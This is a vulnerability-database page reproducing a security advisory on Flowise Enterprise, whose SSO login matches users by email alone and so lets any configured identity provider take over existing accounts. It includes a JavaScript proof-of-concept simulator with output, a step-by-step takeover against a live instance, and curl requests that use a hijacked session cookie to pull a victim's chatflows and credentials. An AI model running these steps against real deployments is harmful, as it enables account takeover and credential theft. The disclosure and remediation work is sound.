Vulnerability DatabaseGHSA-cffm-583c-vffr

GHSA-cffm-583c-vffr: 
Flowise vulnerability analysis and mitigation

Summary

Flowise Enterprise integrates four SSO providers — Google (packages/server/src/enterprise/sso/GoogleSSO.ts), Auth0 (Auth0SSO.ts), Microsoft Entra / Azure AD (AzureSSO.ts), and GitHub (GithubSSO.ts) — and a local username/password backend. Each provider's verify callback ultimately delegates to a single shared SSOBase.verifyAndLogin(email, …) method (SSOBase.ts:38-148). verifyAndLogin resolves the inbound user solely by email: userService.readUserByEmail(email) (SSOBase.ts:56), which is a case-insensitive findOneBy(User, { email: ILike(email) }) (user.service.ts:58-62). The User entity (user.entity.ts:17-92) does not store an IdP / sub / iss binding — there is no provider, providerSub, iss, or any equivalent column. Once a User row is found by email, the function falls through to lines 99-141, builds a LoggedInUser, and returns it to the provider's callback, which calls req.login(user, …) and issues a session (GoogleSSO.ts:106-108 / Auth0SSO.ts:127-130 / AzureSSO.ts:57-59 / GithubSSO.ts:96-99). The consequence is that whichever authentication path issues a verified claim for an email wins access to the user account registered under that email, regardless of how the user originally registered. Concretely:

  • A user registered via local password is takeoverable by anyone who can authenticate at any configured SSO provider with the user's email as the email claim.
  • A user registered via Google SSO is takeoverable by anyone who can authenticate via Auth0 / Azure / GitHub at the same email.
  • A user registered via Auth0 SSO is takeoverable by anyone who can authenticate via Google / Azure / GitHub at the same email.
  • (And so on for every cross-pair.) Because Flowise Enterprise documents and supports configuring multiple SSO providers simultaneously and side-by-side with local password, this is not a hypothetical multi-IdP-only edge case — it is the common deployment shape. The behavioral PoC at the bundled behavioral PoC (pocs/sso-email-only-binding/) confirms all five stages: local user creation; legitimate local login; cross-provider login as the local-password user via Auth0; the same via GitHub; and multi-IdP cross-confusion (Google-registered victim taken over by Auth0).

Why "email" is not a safe authentication identifier

The fundamental issue is that the email claim is a caller-asserted attribute of a user, not a server-issued or provider-cross-validated identity. Different IdPs apply different verification policies:

  • Google verifies the email at account creation; gmail.com emails belong uniquely to Google. However: for Google Workspace, the workspace admin can create any address on a domain they control — so if victim@example.com is on a domain the attacker can acquire (or which has historically lapsed), the attacker can mint a Workspace user there. Also the email_verified boolean is part of the OIDC ID token but Flowise does NOT consume it; only email is read (GoogleSSO.ts:53).
  • Auth0 username/password connections are configurable: per-tenant requires_username, password_policy, and crucially verify_email_on_signup. Many Flowise customers configure Auth0 with verification disabled (it is the default for some templates). An Auth0 user can therefore set their email to any value and pass it through. Auth0's own social connections also have varying verification behavior.
  • Microsoft Entra (Azure AD) — the email / username claim is generally the user's UPN. For B2B guest accounts, the email is whatever was used to invite the guest, and a malicious Entra tenant admin can create a guest with any email. Like Google, Flowise reads profile.username (AzureSSO.ts:97) without an email_verified check.
  • GitHub — the primary email selected by the user from their https://api.github.com/user/emails list. Per a separate companion advisory on GitHub's primary-email selection, the primary can be unverified in certain GitHub SSO flows; even when verified, the user controls which of their addresses is "primary". The point is not that any single provider is broken — it is that Flowise is treating email as a stable, cross-provider, server-issued identifier, when it is in fact an arbitrary attribute that any configured provider's tenant admin can assert. The correct identifier is (provider, sub), where sub is the provider-issued globally-unique user identifier that does not change and cannot be reassigned. The fix is to maintain a stored binding table mapping each (provider, sub) to a Flowise User, and reject unrecognized bindings rather than auto-merging by email.

Details

Vulnerable file 1 — the email-only resolver: packages/server/src/enterprise/sso/SSOBase.ts:38-148

async verifyAndLogin(
    app: express.Application,
    email: string,                                                   // ← arbitrary string from provider
    done: (err?: Error | null, user?: Express.User, info?: any) => void,
    profile: passport.Profile,                                       // ← profile.id (the sub) is IGNORED
    accessToken: string | object,
    refreshToken: string
) {
    let queryRunner
    const ssoProviderName = this.getProviderName()                   // ← e.g. "Google SSO"; never persisted/checked
    try {
        queryRunner = getRunningExpressApp().AppDataSource.createQueryRunner()
        await queryRunner.connect()
        const userService = new UserService()
        // ...
        let user: any = await userService.readUserByEmail(email, queryRunner)   // ← line 56: EMAIL ONLY
        let wu: any = {}
        if (!user) {
            if (getRunningExpressApp().identityManager.getPlatformType() === Platform.ENTERPRISE) {
                throw new InternalFlowiseError(StatusCodes.NOT_FOUND, UserErrorMessage.USER_NOT_FOUND)
            }
            // CLOUD: register a new user with whatever email the provider claimed
            // (lines 64-79 — no email_verified check, no provider attribution stored)
            // ...
        } else {
            // *** This advisory's attack lands here for the takeover case ***
            if (user.status === UserStatus.INVITED) {                // ← line 81: also the INVITED-auto-promote sibling advisory's territory
                // (auto-promote — covered separately)
            }
            let wsUserOrUsers = await workspaceUserService.readWorkspaceUserByLastLogin(user?.id, queryRunner)
            wu = Array.isArray(wsUserOrUsers) && wsUserOrUsers.length > 0 ? wsUserOrUsers[0] : (wsUserOrUsers as WorkspaceUser)
        }
        // *** No provider check between the resolution above and the LoggedInUser
        //     construction below.  No comparison of profile.id against any stored
        //     binding.  No comparison of ssoProviderName against any per-user
        //     allowlist.  Just: email → User → session. ***
        // ...workspace + role + organization plumbing...
        const loggedInUser: LoggedInUser = {
            id: workspaceUser.userId,                                // ← victim's userId
            email: user?.email || '',
            name: user?.name || '',
            roleId: workspaceUser.roleId,                            // ← victim's role (could be Admin)
            // ...
            ssoToken: accessToken as string,                         // attacker's IdP token (irrelevant for re-auth)
            ssoRefreshToken: refreshToken,
            ssoProvider: ssoProviderName,                            // ← merely descriptive; not enforcing
            permissions: [...JSON.parse(role.permissions)],
            features
        }
        return done(null, loggedInUser as Express.User, { message: 'Logged in Successfully' })
    } catch (error) {
        // ...
    } finally {
        if (queryRunner && !queryRunner.isReleased) await queryRunner.release()
    }
}

Vulnerable file 2 — the User schema with no IdP binding: packages/server/src/enterprise/database/entities/user.entity.ts:17-92

@Entity()
export class User {
    @PrimaryGeneratedColumn('uuid') id: string
    @Column({ type: 'varchar', length: 100 }) name: string
    @Column({ type: 'varchar', length: 255, unique: true }) email: string   // ← the only identifier
    @Column({ type: 'text', nullable: true }) credential?: string | null    // password hash
    @Column({ type: 'text', nullable: true, unique: true }) tempToken?: string | null
    @CreateDateColumn({ nullable: true }) tokenExpiry?: Date | null
    @Column({ type: 'varchar', length: 20, default: UserStatus.UNVERIFIED }) status: string
    // (createdDate / updatedDate / createdBy / updatedBy / and OneToMany backrefs)
    // *** NO provider, NO sub, NO iss, NO IdP binding column. ***
}

The LoginMethod entity (login-method.entity.ts) sounds like it might be the missing binding, but it isn't — it is the organization-level SSO configuration (which IdPs the org has enabled, with config blobs), not a per-user identity-to-provider-account mapping. Vulnerable files 3-6 — provider callbacks all funnel email to verifyAndLogin:

// GoogleSSO.ts:43-65
const email = profile.emails[0].value
return this.verifyAndLogin(this.app, email, done, profile, accessToken, refreshToken)
// Auth0SSO.ts:68-87
const email = profile.emails?.[0]?.value
return await this.verifyAndLogin(this.app, email, done, profile, accessToken, refreshToken)
// AzureSSO.ts:87-108
const email = profile.username
return this.verifyAndLogin(this.app, email, done, profile, accessToken, refreshToken)
// GithubSSO.ts:36-50
const emails = await emailResponse.json()
let primaryEmail = emails.find((email: any) => email.primary && email.verified)?.email
if (!primaryEmail && Array.isArray(emails) && emails.length > 0) {
    primaryEmail = emails[0].email                                  // ← fallback to unverified primary (separate companion advisory)
}
return this.verifyAndLogin(this.app, primaryEmail, done, profile, accessToken, refreshToken)

In all four, profile.id (the IdP's stable subject identifier) is not used by Flowise except as part of the discarded profile object passed through to verifyAndLogin for displayName only. Vulnerable file 7 — local password also resolves by email: packages/server/src/enterprise/services/account.service.ts:537-590

public async login(data: AccountDTO) {
    // ...
    const user = await this.userService.readUserByEmail(data.user.email, queryRunner)   // ← line 547
    if (!user) throw new InternalFlowiseError(StatusCodes.NOT_FOUND, UserErrorMessage.USER_NOT_FOUND)
    if (!user.credential) throw new InternalFlowiseError(StatusCodes.BAD_REQUEST, UserErrorMessage.INVALID_USER_CREDENTIAL)
    if (!compareHash(data.user.credential, user.credential)) {
        throw new InternalFlowiseError(StatusCodes.UNAUTHORIZED, UserErrorMessage.INCORRECT_USER_EMAIL_OR_CREDENTIALS)
    }
    // ...
}

So the User-by-email row is the one source of truth for both local password and every SSO provider. Given any one credential channel (provider's email claim OR a password hash), you authenticate as that User.

Concrete exploitation scenarios

  1. Local-password to SSO takeover (single-IdP added later). Flowise org started with username/password and later added Auth0 SSO for employees. Existing accounts have password hashes. An attacker who creates an Auth0 account with the email of any existing local-password Flowise user is logged in as that user — including any Owner/Admin accounts that pre-date the SSO migration.
  2. Cross-IdP confusion (multi-IdP enterprise deployment). Flowise org configures Google for employees and Auth0 for customers / B2B partners. Auth0's username/password connection has requires_email_verification: false (the default in many templates). Anyone who registers an Auth0 user with email ceo@company.com is logged in as the CEO's Google-registered Flowise account.
  3. GitHub primary-email substitution. Per the companion GitHub-primary-email advisory, an attacker can reach the GitHub verifyAndLogin path with an unverified primary email matching a victim's verified email at a different provider. Combined with this advisory, that GitHub login becomes a session as the victim's account.
  4. INVITED auto-promote (sibling advisory chain). Admin sends invite to target@example.com. The invitation creates a User row with status=INVITED awaiting tempToken consumption. The attacker controls SSO at that email; SSOBase.ts:81-93 detects the INVITED user, calls accountService.register({ status: ACTIVE, … }), and activates the account WITHOUT consuming the invite token. The attacker is now the invited user. this advisory + the INVITED-auto-promote advisory together = full pre-takeover of any pending invite for which the attacker controls any configured SSO provider's email claim.
  5. Email change post-registration (lateral hijack within an org). A low-priv Flowise user (member of org, role: Member) updates their email to admin@company.com via the user-update endpoint, if the admin's local-password account has the email admin@company.com, the email is unique → update is rejected. But if the admin only exists in another tenant or only via SSO (no local-password row), the SSO->User lookup keys on email alone — so any provider claim wins. This is more situational and isn't strictly required for the headline impact; included for completeness.

PoC

The bundled PoC replays the verbatim readUserByEmail + verifyAndLogin resolver paths into a self-contained simulator and demonstrates four scenarios (local→SSO takeover, GitHub variant, Google→Auth0 cross-IdP confusion).

// PoC: SSO email-only identity binding (cross-provider account merge)
//
// Replays the verbatim user-resolution path from
//   packages/server/src/enterprise/sso/SSOBase.ts:38-148  (verifyAndLogin)
//   packages/server/src/enterprise/services/user.service.ts:58-62  (readUserByEmail)
//   packages/server/src/enterprise/services/account.service.ts:537-590  (login)
// in a self-contained simulator.
//
// Confirms that:
//   (a) Both the local-password login and the SSO login resolve a user by EMAIL ONLY.
//   (b) The User entity has NO provider/sub binding column.
//   (c) An attacker authenticating at ANY configured SSO provider with the victim's
//       email claim is logged in as the existing victim account — regardless of how
//       the victim originally registered (local password / Google / Auth0 / Azure /
//       GitHub).
//   (d) `user.status` controls the branch at SSOBase.ts:80-97 — for ACTIVE users,
//       there is no provider check; the function just builds a LoggedInUser for the
//       email-matched account and calls done() with it.
// --- In-memory tables (mirroring the User / WorkspaceUser TypeORM schema) ----
const userTable = []           // mirrors User entity (user.entity.ts)
const workspaceUserTable = []  // mirrors WorkspaceUser entity
const UserStatus = Object.freeze({
    ACTIVE:     'active',
    INVITED:    'invited',
    UNVERIFIED: 'unverified',
    DELETED:    'deleted'
})
// --- Verbatim port of UserService.readUserByEmail (user.service.ts:58-62) ----
function readUserByEmail(email) {
    if (!email) throw new Error('INVALID_USER_EMAIL')
    // findOneBy(User, { email: ILike(email) })  ← case-insensitive email match
    return userTable.find(u => u.email.toLowerCase() === email.toLowerCase()) || null
}
// --- Verbatim port of compareHash (utils/encryption.util.ts) -----------------
const crypto = require('crypto')
function getHash(plaintext) {
    return crypto.createHash('sha256').update(plaintext).digest('hex')
}
function compareHash(plaintext, hash) {
    return getHash(plaintext) === hash
}
// --- Verbatim port of AccountService.login (account.service.ts:537-590) -------
function localLogin({ email, credential }) {
    if (!credential) throw new Error('INVALID_USER_CREDENTIAL')
    const user = readUserByEmail(email)                                       // ← line 547
    if (!user) throw new Error('USER_NOT_FOUND')                              // ← line 550
    if (!user.credential) throw new Error('INVALID_USER_CREDENTIAL')          // ← line 554
    if (!compareHash(credential, user.credential))                            // ← line 556
        throw new Error('INCORRECT_USER_EMAIL_OR_CREDENTIALS')                // ← line 558
    if (user.status === UserStatus.UNVERIFIED) throw new Error('USER_EMAIL_UNVERIFIED')
    return user
}
// --- Verbatim port of SSOBase.verifyAndLogin (SSOBase.ts:38-148) -------------
//     The relevant lookup-and-merge logic only — workspace/role/organization
//     plumbing omitted. The point is: there is no provider check anywhere.
function verifyAndLogin({ email, profile, accessToken, refreshToken, providerName, platform }) {
    const user = readUserByEmail(email)                                       // ← SSOBase.ts:56
    if (!user) {
        if (platform === 'ENTERPRISE') {                                      // ← SSOBase.ts:61
            throw new Error('USER_NOT_FOUND')
        }
        // CLOUD path — register a fresh account (SSOBase.ts:64-79)
        const newUser = {
            id: crypto.randomUUID(),
            email,
            name: profile.displayName || email,
            credential: undefined,
            status: UserStatus.ACTIVE,
            registeredVia: providerName
        }
        userTable.push(newUser)
        return { user: newUser, ssoProvider: providerName, message: 'New user registered via SSO' }
    } else {
        // *** This advisory's attack landing spot. ***
        // For ACTIVE existing users — and they reach here from any provider —
        // the function just falls through to the LoggedInUser construction.
        if (user.status === UserStatus.INVITED) {                             // ← SSOBase.ts:81 (sibling INVITED-auto-promote advisory's territory)
            user.status = UserStatus.ACTIVE  // promoted by mere SSO email match
        }
        // SSOBase.ts:99-141: build LoggedInUser and call done() with it.
        // No comparison of providerName against any stored binding for `user`.
        return { user, ssoProvider: providerName, message: 'Login Success' }
    }
}
;(async () => {
    console.log('================================================================')
    console.log('Stage 1 — Victim registers via local password')
    console.log('================================================================')
    const VICTIM_EMAIL = 'victim@example.com'
    userTable.push({
        id: 'user-victim-001',
        email: VICTIM_EMAIL,
        name: 'Victim Real-Name',
        credential: getHash('VictimSecretPassword!2026'),
        status: UserStatus.ACTIVE,
        registeredVia: 'local-password'
    })
    workspaceUserTable.push({ userId: 'user-victim-001', workspaceId: 'ws-victim-org' })
    console.log(`  victim row created: ${JSON.stringify(userTable[0], null, 2)}`)
    console.log(`  ↑ note: NO provider, NO sub, NO IdP binding column anywhere.`)
    console.log('\n================================================================')
    console.log('Stage 2 — Victim logs in legitimately with local password')
    console.log('================================================================')
    try {
        const u = localLogin({ email: VICTIM_EMAIL, credential: 'VictimSecretPassword!2026' })
        console.log(`  ✅ local login OK → user.id=${u.id}, registeredVia=${u.registeredVia}`)
    } catch (e) { console.log(`  unexpected: ${e.message}`) }
    console.log('\n================================================================')
    console.log('Stage 3 — Attacker hits Auth0 SSO callback claiming victim\'s email')
    console.log('  (Auth0 supports username/password connections that DON\'T enforce')
    console.log('   email verification; an attacker controlling an Auth0 connection')
    console.log('   trusted by Flowise can mint an arbitrary `email` claim.)')
    console.log('================================================================')
    const auth0Result = verifyAndLogin({
        email: VICTIM_EMAIL,                                       // attacker's claim
        profile: { displayName: 'Mallory the Attacker', id: 'auth0|99999' },
        accessToken: 'auth0-access-token-attacker',
        refreshToken: 'auth0-refresh-token-attacker',
        providerName: 'Auth0 SSO',
        platform: 'ENTERPRISE'
    })
    console.log(`  → verifyAndLogin returned a session for: user.id=${auth0Result.user.id}, email=${auth0Result.user.email}`)
    console.log(`  → ssoProvider on session: "${auth0Result.ssoProvider}"`)
    console.log(`  → registeredVia on user row: "${auth0Result.user.registeredVia}"  ← still "local-password"`)
    if (auth0Result.user.id === 'user-victim-001') {
        console.log('\n  [+] CONFIRMED — attacker IS logged in as the local-password victim.')
        console.log('      No provider check. No sub check. The Auth0 attacker received the same')
        console.log('      LoggedInUser the victim would have received via local password.')
    }
    console.log('\n================================================================')
    console.log('Stage 4 — Same attack via GitHub SSO instead of Auth0')
    console.log('  (GitHub permits primary-email selection from any of the user\'s')
    console.log('   verified emails; combined with the GitHub-primary-email companion advisory, an attacker can also reach')
    console.log('   the verifyAndLogin path with an unverified primary email.)')
    console.log('================================================================')
    const ghResult = verifyAndLogin({
        email: VICTIM_EMAIL,
        profile: { displayName: 'gh-attacker', id: 'github|77777' },
        accessToken: 'gh-access-token',
        refreshToken: 'gh-refresh-token',
        providerName: 'GitHub SSO',
        platform: 'ENTERPRISE'
    })
    console.log(`  → verifyAndLogin returned a session for: user.id=${ghResult.user.id}, email=${ghResult.user.email}`)
    console.log(`  → ssoProvider on session: "${ghResult.ssoProvider}"  ← session says GitHub`)
    console.log(`  → but user.id is still: ${ghResult.user.id}  ← victim's account`)
    console.log('\n================================================================')
    console.log('Stage 5 — Multi-IdP confusion — victim registered via Google,')
    console.log('         attacker logs in via Auth0 with same email')
    console.log('================================================================')
    const ANOTHER_EMAIL = 'employee@company.com'
    // Victim originally registered via Google in CLOUD mode
    verifyAndLogin({
        email: ANOTHER_EMAIL,
        profile: { displayName: 'Google Employee', id: 'google|11111' },
        accessToken: 'g-access-token',
        refreshToken: 'g-refresh-token',
        providerName: 'Google SSO',
        platform: 'CLOUD'
    })
    const employeeRow = readUserByEmail(ANOTHER_EMAIL)
    console.log(`  victim registered via Google: user.id=${employeeRow.id}, registeredVia=${employeeRow.registeredVia}`)
    // Attacker now authenticates via a different IdP (Auth0) that the org also trusts.
    const xResult = verifyAndLogin({
        email: ANOTHER_EMAIL,
        profile: { displayName: 'Different Person', id: 'auth0|88888' },
        accessToken: 'a-access-token',
        refreshToken: 'a-refresh-token',
        providerName: 'Auth0 SSO',
        platform: 'CLOUD'
    })
    console.log(`  attacker via Auth0 → user.id=${xResult.user.id}, registeredVia=${xResult.user.registeredVia}`)
    if (xResult.user.id === employeeRow.id) {
        console.log('  [+] Cross-IdP confusion confirmed — Auth0 attacker logged in as Google-registered victim.')
    }
    console.log('\n================================================================')
    console.log('Realistic exploitation paths')
    console.log('================================================================')
    console.log('1. Multi-IdP deployments — the most common Enterprise config. Org trusts')
    console.log('   Google + Auth0 (or Azure + Auth0). Auth0 username/password connections')
    console.log('   often have email_verified=false; whichever IdP issues a claim with the')
    console.log('   victim\'s email wins.')
    console.log('2. Single-IdP + local-password — early adopters predate the SSO rollout.')
    console.log('   Their accounts have a `credential` hash. Anyone authenticating via the')
    console.log('   added IdP with their email takes over the account.')
    console.log('3. Chained with the GitHub-primary-email advisory — attacker uses an unverified GitHub primary email matching')
    console.log('   the victim\'s real email at a different (verifying) provider.')
    console.log('4. Chained with the INVITED-auto-promote advisory — admin invites target@x.com (status=INVITED, awaiting')
    console.log('   tempToken). Attacker controls SSO at that email → automatic promotion')
    console.log('   to ACTIVE without ever consuming the invite token.')
})()

Observed output (full)

Stage 1 — victim registers via local password (registeredVia: local-password)
Stage 2 — local login OK → user.id=user-victim-001
Stage 3 — Auth0 SSO attacker → session for user.id=user-victim-001
  [+] CONFIRMED — attacker IS logged in as the local-password victim.
Stage 4 — GitHub SSO attacker → session for user.id=user-victim-001
Stage 5 — Google-registered victim, Auth0 attacker → same user.id
  [+] Cross-IdP confusion confirmed.

End-to-end against a live Flowise Enterprise instance


# Pre-condition: Flowise has both local-password auth and Auth0 SSO enabled,

# AND there is an existing User row with email victim@example.com (any registration channel).

# 1. Attacker creates an Auth0 account at the org's configured Auth0 tenant

#    with email "victim@example.com"

#    (Auth0 username/password connection where verify_email_on_signup is false,

#    or the attacker uses a malicious Auth0 organization the org's instance trusts).

# 2. Attacker initiates Auth0 login at Flowise:
GET https://flowise.example.com/api/v1/auth0/login
   ↓ Auth0 redirects after attacker authenticates ↓
GET https://flowise.example.com/api/v1/auth0/callback?code=AUTH_CODE&state=...

# 3. Server exchanges the code, fetches userInfo with email=victim@example.com.

#    SSOBase.verifyAndLogin → readUserByEmail("victim@example.com") → User row

#    for the local-password victim. setTokenOrCookies(victim) → attacker now

#    holds a session as victim.

# 4. Attacker can now make any authenticated API call as victim:
curl --cookie 'connect.sid=<session>' https://flowise.example.com/api/v1/chatflows

# → returns victim's chatflows
curl --cookie 'connect.sid=<session>' https://flowise.example.com/api/v1/credentials

# → returns victim's credentials (decryptable via the credential APIs)

Impact

  • Class: Improper Authentication (CWE-287) primary; Authentication Bypass Through User-Controlled Key (CWE-639); Insufficient Verification of Data Authenticity (CWE-345); Use of Single-Factor Authentication based on incorrect identifier (CWE-308 in spirit).
  • Affected: Flowise Enterprise platform deployments — i.e., all paid-tier customers using SSO, which is the explicit target market for the Enterprise SKU. Cloud platform deployments are also affected: in CLOUD mode, the email-only matcher will additionally auto-create a fresh Flowise account for any provider-claimed email — so the same fundamental defect leads to spoofable registrations as well.
  • Prerequisites:
    • Default scenario (AC:L): the deployment has at least one of: (a) ≥2 SSO providers configured, (b) any SSO provider configured alongside local-password accounts, or (c) any SSO provider whose email claim the attacker can mint (Auth0 with verify_email_on_signup: false, GitHub primary-email selection, malicious Workspace tenant on a domain the attacker controls). All three are mainstream Flowise Enterprise deployment shapes.
    • Hardened scenario (AC:H): single SSO provider with strict email verification, no local-password coexistence, no malicious tenant possibility. Even here, this advisory remains exploitable when an insider is granted access to the IdP tenant.
  • Result:
    • Confidentiality: complete read of the targeted user's data (chatflows, credentials, chat messages, files, API keys, audit logs visible to that user's role).
    • Integrity: complete write as the targeted user — including creation/modification/deletion of chatflows, credentials, API keys, and (if the user is an Owner/Admin) organization settings and other users.
    • Availability: no direct DoS impact; covered by other integrity-class effects.

Remediation

Maintainer fix (recommended — provider+sub binding table): Introduce a UserIdentity (or similar) entity that maps each (provider, sub) to a single Flowise User. Make this binding the sole basis for SSO authentication; never auto-merge by email.

  1. Schema migration. Add a new entity:
    // packages/server/src/enterprise/database/entities/user-identity.entity.ts
    @Entity({ name: 'user_identity' })
    export class UserIdentity {
        @PrimaryGeneratedColumn('uuid') id: string
        @Column({ type: 'varchar', length: 50 }) provider: string   // e.g. 'google', 'auth0', 'azure', 'github', 'local'
        @Column({ type: 'varchar', length: 255 }) sub: string        // provider-issued stable user identifier
        @Column() userId: string
        @ManyToOne(() => User) @JoinColumn({ name: 'userId' }) user: User
        @CreateDateColumn() createdDate?: Date
    }
    // Add unique index on (provider, sub).  Add lookup index on userId.
  2. Strict provider+sub resolution in verifyAndLogin:
    async verifyAndLogin(app, email, done, profile, accessToken, refreshToken) {
        const provider = this.getProviderName()
        const sub = profile.id                                       // OIDC: profile.id = sub claim
        if (!sub) return done({ name: 'SSO_LOGIN_FAILED', message: 'Provider did not issue a stable subject identifier' }, undefined)
        const identityRepo = queryRunner.manager.getRepository(UserIdentity)
        const identity = await identityRepo.findOne({ where: { provider, sub }, relations: ['user'] })
        if (identity) {
            // Existing binding — log them in as the bound user.
            // Optionally update name/email from the IdP claims if changed.
            const user = identity.user
            // ... build LoggedInUser as before ...
            return done(null, loggedInUser, { message: 'Login Success' })
        }
        // No existing binding. Decide policy:
        // (a) Reject and require an account-linking flow (RECOMMENDED). The user
        //     must first authenticate to their existing Flowise account through
        //     another channel (or perform an admin-issued invitation), then opt-in
        //     to bind this provider. NEVER bind silently by email.
        return done({ name: 'SSO_LOGIN_FAILED', message: 'No Flowise account is linked to this SSO identity. Please log in via your existing method first and link this provider in account settings.' }, undefined)
    }
  3. Account-linking flow. Add an authenticated endpoint POST /api/v1/account/link-provider/<provider> that the user accesses while logged in via their existing channel. It initiates an OIDC flow and, on callback, persists a new UserIdentity row for (provider, sub, userId=req.user.id). The user can revoke bindings from account settings.
  4. Migration of existing accounts. For each existing User, on first SSO login post-deploy, record the (provider, sub) of the used IdP into UserIdentity (one-time bootstrap). To prevent this advisory's exploitation during this bootstrap, gate the bootstrap behind email verification (send a confirmation email and require click-through), or behind admin opt-in per user.
  5. Honor email_verified for OIDC providers. Even if email binding is retained as a secondary lookup (e.g. for the bootstrap flow), refuse to consume any claim where the provider returns email_verified=false. Currently Flowise reads profile.emails[0].value without ever consulting the email_verified boolean. Defense in depth:
  6. Disable local password when any SSO is enabled at the organization level (or display a prominent warning that mixing them creates the takeover risk above). Many SSO products do this.
  7. Audit-log the provider used at every login, with the provider's sub claim. This makes account merges and IdP substitutions visible in retrospect; without it, this advisory leaves no forensic trail.
  8. Per-organization IdP allow-list. Don't let an organization's users authenticate via an SSO provider not configured for that organization. Currently SSO is global per-instance.
  9. Email change re-verification. When a user changes their email (and thus the SSO matching key), require re-verification of the new email AND require all existing SSO bindings to be re-confirmed. User mitigations until a patch ships:
  • Use only ONE SSO provider per Flowise Enterprise instance, and pick a provider that strictly verifies emails (Google Workspace, Microsoft Entra, GitHub for organizations with verified domains). Disable Auth0 if its connection allows verify_email_on_signup: false.
  • Disable local-password authentication if any SSO provider is configured. Remove existing local-password hashes by null-ing the credential column on User rows.
  • Ensure the configured SSO provider's tenant is bound to a domain you control. For Google, only allow workspace-sourced emails (use hd parameter / domain restriction). For Azure, lock to a specific tenant ID.
  • Audit existing User rows for suspicious dual-existence. If an account has been logged into with both local password AND SSO, treat it as suspicious (absent this advisory, the legitimate user would not have done both unless they are the legitimate owner).
  • Rotate sensitive credentials and API keys stored by any user who could plausibly have been targeted.

Source: NVD

Related Flowise vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-vf3j-89vf-r697CRITICAL9.2
  • Flowise logoFlowise
  • flowise
NoNoSep 10, 2026
GHSA-cffm-583c-vffrCRITICAL9.2
  • Flowise logoFlowise
  • flowise
NoNoSep 10, 2026
CVE-2026-91937HIGH8.7
  • Flowise logoFlowise
  • flowise
NoYesSep 15, 2026
CVE-2026-91935HIGH8.7
  • JavaScript logoJavaScript
  • flowise
NoYesSep 15, 2026
GHSA-rpcc-gw54-mfgxHIGH8.7
  • Flowise logoFlowise
  • flowise
NoNoSep 10, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management